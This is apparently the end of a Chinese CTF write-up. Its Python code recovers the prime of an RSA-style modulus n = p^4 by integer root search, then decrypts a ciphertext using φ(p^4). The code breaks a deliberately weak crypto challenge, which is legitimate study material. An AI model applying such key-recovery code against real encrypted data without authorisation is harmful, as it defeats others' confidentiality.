left = 1
rbit = 1024
step = int(log2(2**rbit - left)) - 8
while True:
    step = step - 1
    for i in range(left, 2**rbit+1, 2 ** step):
        if i ** r == target:
            print(i, 'solve')
            exit()
        if i ** r > target:
            left = i - 2 ** step
            print(i)
            break
    else:
        print('noooooo')
        break

得到

p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4

计算 φ(p^k)=(p-1)p^(k-1)
求逆元, 解码 done.

import gmpy2
from Crypto.Util.number import *
p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4
e = 58134567416061346246424950552806959952164141873988197038339318172373514096258823300468791726051378264715940131129676561677588167620420173326653609778206847514019727947838555201787320799426605222230914672691109516799571428125187628867529996213312357571123877040878478311539048041218856094075106182505973331343540958942283689866478426396304208219428741602335233702611371265705949787097256178588070830596507292566654989658768800621743910199053418976671932555647943277486556407963532026611905155927444039372549162858720397597240249353233285982136361681173207583516599418613398071006829129512801831381836656333723750840780538831405624097443916290334296178873601780814920445215584052641885068719189673672829046322594471259980936592601952663772403134088200800288081609498310963150240614179242069838645027877593821748402909503021034768609296854733774416318828225610461884703369969948788082261611019699410587591866516317251057371710851269512597271573573054094547368524415495010346641070440768673619729280827372954003276250541274122907588219152496998450489865181536173702554116251973661212376735405818115479880334020160352217975358655472929210184877839964775337545502851880977049299029101466287659419446724781305689536816523774995178046989696610897508786776845460908137698543091418571263630383061605011820139755322231913029643701770497299157169690586232187419462594477116374977216427311975598620616618808494138669546120288334682865354702356192972496556372279363023366842805886601834278434406709218165445335977049796015123909789363819484954615665668979
n = 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721L
d = gmpy2.invert(e, p**3 *(p-1))
print d
enc = '''YXmuOsaD1W4poLAG2wPrJ/nYZCkeOh2igCYKnZA6ecCeJadT6B3ZVTciPN6LJ8AcAsRXNnkC6+9P
NJPhmosSG5UGGbpIcg2JaZ1iA8Sm3fGiFacGvQsJOqqIWb01rjaQ3rDBKB331rrNo9QNOfMnjKr0
ejGG+dNObTtvnskICbYbNnSxMxLQF57H5JnWZ3LbbKQ493vmZzwvC6iH8blNPAp3dBlVzDqIAmxm
Ubk0OzFjPoHphD1oxHdzXyQNW+sLxVldrf9xcItq92jN5sqBYrG8wADIqY1/sqhTMZvkIYFMHqoM
QuiRSnVrCF2h2RtGDEayLo0evgXI/0W3YveyKCHViOnG6wypcBFm91ZWdjp3fVW/4DyxW6xu9hg/
NlXyRP6pT/OyQpcyTqKRuiXJLWgFUJI/8TRgyAjBLLgSd3U0N3VM8kewXw5j+fMUTCW9/Gy4iP8m
52Zabx/vEKdwdGZ0QyvgvAWGUFZ96EK0g1BM/LU9Tuu2R+VKcCSCprg283x6NfYxmU26KlQE6Zrr
jLmbCOe0327uaW9aDbLxZytPYIE5ZkzhSsD9JpQBKL30dCy3UKDbcuNgB6SrDddrbIuUd0/kLxuw
h6kTqNbC4NDrOT4WAuP4se8GGOK8Wz0dL6rE6FkzMnI4Qg501MTSNQZ4Bp7cNf6H9lTa/4DNOl0='''.decode('base64')
m = bytes_to_long(enc)
dec = pow(m, d, n)
print long_to_bytes(dec)

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据